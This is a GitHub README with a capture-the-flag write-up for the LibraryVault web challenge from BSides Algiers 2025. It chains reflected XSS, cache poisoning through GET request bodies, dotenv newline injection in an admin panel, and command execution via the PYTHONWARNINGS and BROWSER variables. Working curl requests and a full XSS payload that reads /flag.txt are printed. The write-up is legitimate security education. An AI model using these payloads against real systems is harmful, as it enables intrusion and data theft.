Skip to content

This repository contains the WhiteDukesDZ write-up for the LibraryVault web challenge from the 7th edition of BSides Algiers 2025, organized by Shellmates.

Notifications You must be signed in to change notification settings

S450R1/library-vault-writeup

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🧭 1. Introduction:

BSIDES 2025

Challenge: LibraryVault
Event: BSides Algiers 2025 (7th Edition)
Organized by: Shellmates
Category: Web Exploitation
Difficulty: Hard

At first glance, LibraryVault looked like a simple book library. But behind the login lurked an admin panel and a caching service that turned this "read-only" library into a vault worth cracking.


πŸ” 2. Reconnaissance: Listening Before Hacking

Application Overview

The application presents itself as a simple online library. Users can browse book overviews, search the catalog, and report issues with results.

GUI Demo 01

A login page and a registration form complete the picture of a standard web app. clean, functional, and unremarkable.

GUI Demo 02

Things get interesting after authentication. While exploring the app, it becomes clear that an admin panel exists. but direct access is denied.

GUI Demo 03

That's enough to confirm one thing: there's more hiding behind the shelves.

Application Architecture

After a quick inspection of the challenge's files (see challenge/LibraryVault):

Quick inspection of challenge files

We can deduce the following architecture:

Global architecture

Interesting Discoveries

Report API Endpoint

Looking at challenge/LibraryVault/web-app/app.py, we notice the /api/report endpoint. When called (see challenge/LibraryVault/web-app/handlers/api/report.py), it executes challenge/LibraryVault/web-app/utils/bot.py with http://127.0.0.1:1337/search?query=I%20BELEIVE%20IT%20DOESNT%20WORK as an argument.

Report Behaviour

This causes the bot to log in with admin credentials, then navigate to the provided URL.

Books API Endpoint

Looking at challenge/LibraryVault/web-app/handlers/api/books.py for /api/books: even unauthenticated users can add new books (with unverified status) by providing title, author, and year in a POST request.

Add Book

Searching Books

Looking at challenge/LibraryVault/web-app/handlers/routes/search.py for /search: by default, it splits the query into words and searches for those words in the title or author of both verified and unverified books from the database. It then renders the results in challenge/LibraryVault/web-app/templates/search.html.

Notably, query and year are passed directly to search.html without any escaping.

Search Books

Caching Service

The caching service (challenge/LibraryVault/cdn-service/main.go) caches responses for all GET requests except /panel. Caching is based solely on the requested URL string (endpoint + query parameters).

Logic:

  • If the request is not cacheable (non-GET or /panel):

    • Set X-Cache: dynamic
    • Forward the request to the Python web app

    Dynamic Cache

  • If the request is cacheable:

    • Check Redis cache:

      • Miss β†’ X-Cache: miss, forward to the Python web app

      Cache Miss

      • Hit β†’ X-Cache: hit, serve from Redis

      Cache Hit

  • Responses are stored in Redis with a 60-second TTL.

Unusual Finding: A closer examination of the code reveals an unusual behavior: the request body gets forwarded from the CDN service to the web app, even though it's a GET request.

// Create the new request with the same method, body, and headers
req, err := http.NewRequest(origReq.Method, originURL.String(), origReq.Body)

Admin Panel

The admin panel (challenge/LibraryVault/web-app/handlers/routes/panel.py) at /panel provides three key functions:

  1. Update Config: Allows admins to set BACKUP_SERVER and ARCHIVE_PATH environment variables.
  2. Reset Config: Resets configuration to default values (backup.libraryvault.local and /tmp/archives).
  3. Run Backup: Executes /app/utils/backup_catalog.py (It just prints, no real backup process) using subprocess with the configured environment variables.

🧱 3. Vulnerability Discovery: Finding Cracks

Evaluating XSS:

As discovered in the reconnaissance phase. /search endpoint use both year and query unescaped.

Testing Stored XSS for year attribute Since we have the ability to create unverified books, we tried creating a book with this informations.

title=MANINI
author=S450R1
year=<script>alert('WhiteDukesDZ')</script>

Then we searched for this book but ..

Testing Stored XSS

a 500 status Error! This is very normal since if we take a look into challenge/LibraryVault/web-app/db/connection.py. We see that year in books table is stored as an integer in database, so setting it as a string will definetly cause an error.

await conn.execute("""
  CREATE TABLE IF NOT EXISTS books (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  title TEXT NOT NULL,
  author TEXT NOT NULL,
  year INTEGER,
  verified INTEGER DEFAULT 0
)
""")

So no stored XSS for the year attribute :/ ❌.

Testing Reflected XSS for query query Let's try searching a book using query=<script>alert('WhiteDukesDZ')</script>:

Testing Reflected XSS

And boom! Reflected XSS on query is confirmed βœ…. But how could this be benefical πŸ€” ?

As discovered before, when POST on /api/report, the admin bot visits a fixed URL (http://127.0.0.1:1337/search?query=I%20BELEIVE%20IT%20DOESNT%20WORK). So we can't send him a malicious URL with our discovered reflected XSS. We should dig deeper ..

Quick Test As discovered earlier, the cdn-service forwards request body even in GET requests. What will happen if we send a GET request to /search with query set on both request query (?query=WhiteDukesDZ01) and request body (query=WhiteDukesDZ02). Which one will be rendered ?

Priority Test

NICE! the value from request gets displayed WhiteDukesDZ02 from request body.

Exploring Cache Poisning The cdn-service is caching all GET requests (just not /panel). What if we can poison cache for the /search endpoint ? Let's test that by requesting /search?query=WhiteDukesDZ with request body query=Cache Poisning. And then trying to access /search?query=WhiteDukesDZ but this time without a request body.

Cache Poisning Test

IT WORKED! Cache Poisning confirmed βœ…. So what actually happened can be demonstrated in this animation:

Cache Poisning Demonstration

Nice. 😊 i'll assume now we have enough to get the admin account. But what can we do after that ? We definetly should have a clear plan.

Testing the Admin Panel Time to test the admin panel, we don't already have the admin account, but we have the source code xD. Looking at challenge/LibraryVault/web-app/db/utils.py the password was hashed using this function:

import hashlib

def hash_password(password):
    return hashlib.sha256(password.encode()).hexdigest()

Let's make our own password:

Generate hashed password

We got b930b2a86f94a8f8ad2182cf39d4db322fb8248d311aa8c908e201279e22ec6b, let's change the admin password from the sqlite database that can be found at /tmp/library.db from inside the docker container (We know that path from challenge/LibraryVault/web-app/db/connection.py):

don't forget to launch the local instance.

cd challenge/LibraryVault && ./build-docker.sh

Wait for deployment then:

docker exec -it library_vault bash
apt install sqlite3
cd /tmp && sqlite3 library.db

Then from table users, update password for the user with username='admin' with the obtained hashed password b930b2a86f94a8f8ad2182cf39d4db322fb8248d311aa8c908e201279e22ec6b (Hashed version of manini123).

UPDATE users SET password='b930b2a86f94a8f8ad2182cf39d4db322fb8248d311aa8c908e201279e22ec6b' WHERE username='admin';

Let's do this together:

Update Admin Password for Debugging

We have an admin account now, we can start testing 😊. Looking at challenge/LibraryVault/web-app/handlers/routes/panel.py and when seeing the subprocess call with user controlled value may give you the feeling for a command injection:

result = subprocess.run(
  ["/usr/local/bin/python3", "/app/utils/backup_catalog.py"],
  env=env,
  capture_output=True,
  text=True,
  timeout=30
)

But it's definetly not the case xD, since if we look at challenge/LibraryVault/web-app/utils/backup_catalog.py there's only normal python prints. So we need to think deeper.

The panel is using dotenv library for setting and loading the environment variable, the documentation of this library can be found here: Python dotenv Documentation. And there is this golden part:

dotenv Documentation

So values can be unquoted, single or double quoted, we can use some escape sequences for both single and double quoted values, single and double quoted values can be multi-line. Using this knowledge and since we have control over BACKUP_SERVER and BACKUP_SERVER environment variables through the admin panel, what if we try to inject a new line into our environment variables and see what happen.

curl -vv -X POST "http://127.0.0.1:1337/login" --data-raw "username=admin&password=manini123"

Grap the cookie from Set-Cookie header then:

export COOKIE=<replace_cookie_here>
curl -X POST "http://127.0.0.1:1337/panel" -H "Cookie: $COOKIE" --data-raw "action=update_config&backup_server=DUMMY1%0ADUMMY2&archive_path=DUMMY3%0ADUMMY4"

Notice that we used %0A for the new line which is the url encoding of \n.

Testing New Line in Admin Panel

Notice that in .env, the two environment variables becomes single quoted and multi-line (We didn't inject new variables). But what if we can inject new variables ?

Let's try to use an escape sequence to escape the single quoted values: %5c%27 (url encoding of \') and since ' become \' so \' become \\' which is simply a quote xD. and then inject new KEY=VALUE%0A%5c (notice that we added another %0A%5cafter VALUE so we can escape the closing quote):

curl -X POST "http://127.0.0.1:1337/panel" -H "Cookie: $COOKIE" --data-raw "action=reset_config"

curl -X POST "http://127.0.0.1:1337/panel" -H "Cookie: $COOKIE" --data-raw "action=update_config&backup_server=DUMMY1%5c%27%0ANEW_VAR=DUMMY%0A%5c&archive_path=DUMMY2%5c%27%0ANEW_VAR2=DUMMY%0A%5c"

Seems good. But let's see how python dotenv will read this. And in order to do this we can debug inside the container instance using the same logic used to read .env for the action=run_backup:

docker exec -it library_vault bash
cd /app
python
import os
from dotenv import load_dotenv

ENVIRON_FILE='.env'

load_dotenv(ENVIRON_FILE)
backup_server = os.getenv("BACKUP_SERVER", "")
archive_path = os.getenv("ARCHIVE_PATH", "")
new_var = os.getenv("NEW_VAR", "")
new_var2 = os.getenv("NEW_VAR2", "")

# Prepare environment variables for the subprocess
env = os.environ.copy()
env["BACKUP_SERVER"] = backup_server
env["ARCHIVE_PATH"] = archive_path
env["NEW_VAR"] = new_var
env["NEW_VAR2"] = new_var2

print(env)

Let's try:

Environment Variable Injection

AND YES! We succesfully injected our new environment variable NEW_VAR2 βœ…. Okay, but how can this lead us to the precious flag ? πŸ₯Ή

😈 4. Exploring Shenanigans: Hacking with Environment Variables

Executing Code Using Environment Variables:

Making a quick research in google with "Hacking with Environment Variables" as a search query will lead you to this page Hacking with Environment Variables. And you can find this interesting section about Python:

Hacking with env Python

Currently we don't have the ability to create directories or files on the host so PYTHONHOME and PYTHONPATH are not interesting for us.

Executing Code Using PYTHONWARNINGS and BROWSER:

PYTHONWARNINGS environment variable allows us to import a python module (as long as our speciefied category contains a dot). But what can we do with that ? πŸ€”

antigravity module import antigravity will immediately open a web browser. What actually happens when importing antigravity:

import webbrowser
webbrowser.open("https://xkcd.com/353/")

This will check your PATH for a large variety of browsers but also accepts the environment variable BROWSER that lets you specify which process to execute.

Okay, time to be creatif 😊. Let's test something. What would happen if we set BROWSER to something like ls, and then importing antigravity ?

Direct ls on BROWSER

Nice, what happened is the same as what would happen if we executed ls 'https://xkcd.com/353/' on shell. We can eliminate that extra link using BROWSER="/bin/sh -c 'ls' %s":

ls on BROWSER

AND YES :), we have executed code only by using BROWSER and the antigravity import βœ….

Let's put our knowledge about PYTHONWARNINGS and BROWSER together and execute code.

1 - We will set BROWSER="/bin/sh -c 'ls' %s".

2 - We will set PYTHONWARNINGS=ignore::antigravity.Foo::0 (Following the action:message:category:module:line structure, so in this case action=ignore, message=<empty>, category=antigravity.Foo (doted), module=<empty>, line=0).

3 - And then do the subprocess.run call with our environment variables. Python will evaluate warning filters before executing the script (which will import antigravity and execute our BROWSER command :D).

To test this locally, we tried to create a similar python script to what's happening in action=run_backup in admin panel (see testing, we putted the scripts there).

import os
import subprocess
from dotenv import load_dotenv, set_key

ENVIRON_FILE=".env"
load_dotenv(ENVIRON_FILE)

# Prepare environment variables for the subprocess
env = os.environ.copy()

# Execute backup script with environment variables loaded
try:
    result = subprocess.run(
        ["python3", "dummy.py"],
        env=env,
        capture_output=True,
        text=True,
        timeout=30
    )
    output = result.stdout if result.returncode == 0 else result.stderr
    print(output)
except Exception as e:
    print(e)

Set .env to:

BROWSER="/bin/sh -c 'ls' %s"
PYTHONWARNINGS=ignore::antigravity.Foo::0

And dummy.py:

print("Script Executed")

Let's try this out:

Code Execution using BROWSER and PYTHONWARNINGS

CODE EXECUTED ! We now, have all what's necessary to solve this challenge βœ….

πŸ₯·πŸ» 5. Putting it all together: From Crack to Flag

Chaining XSS with the Cache Poisning As discovered before, by POSTing into /api/report will cause the admin bot to visit a fixed URL http://127.0.0.1:1337/search?query=I%20BELEIVE%20IT%20DOESNT%20WORK. The Reflected XSS lies in the search query, and by chaining this XSS with the discovered cache poisning (by setting /search?query=I%20BELEIVE%20IT%20DOESNT%20WORK, and setting query in request body to our XSS payload). We can cause the admin to perform a malicious action.

Chaining XSS with Cache Poisning

Remote Code Execution through the XSS payload As discovered before, using the admin account we can insert new environment variables through the admin panel. So we can set BROWSER to /bin/sh -c 'cat /flag.txt > static/maninos.txt' (Exfiltrating the flag.txt content to a publicly accessible endpoint). And PYTHONWARNINGS to ignore::antigravity.Foo::0 as explained before. And then calling the subprocess.run with our setted env variables by performing action=run_backup to trigger the command execution. This can be done using this XSS payload:

<script>
fetch('/panel', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    credentials: 'include',
    body: 'action=update_config&backup_server=backup.libraryvault.local%5C%27%0A%5C&archive_path=%2Ftmp%2Farchives%5C%27%0APYTHONWARNINGS%3Dignore%3A%3Aantigravity.Foo%3A%3A0%0ABROWSER%3D%2Fbin%2Fsh+-c+%22cat+%2Fflag.txt+%3E+%2Fapp%2Fstatic%2Fmaninos.txt%22+%25s%0A%5C'
}).then(() => {
    return fetch('/panel', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        credentials: 'include',
        body: 'action=run_backup'
    });
});
</script>

After this attack, we'll just visit /static/maninos.txt and get our precious flag πŸ₯Ή.

In order to automate the process, we've written exploit.py containing the complete attack (Can you imagine that the complete exploit is just 28 lines of code xD ?).

Let's try this out:

Final Exploit

FLAG OBTAINED βœ…. THANK YOU FOR READING πŸ₯Ή

Bye Bye

About

This repository contains the WhiteDukesDZ write-up for the LibraryVault web challenge from the 7th edition of BSides Algiers 2025, organized by Shellmates.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published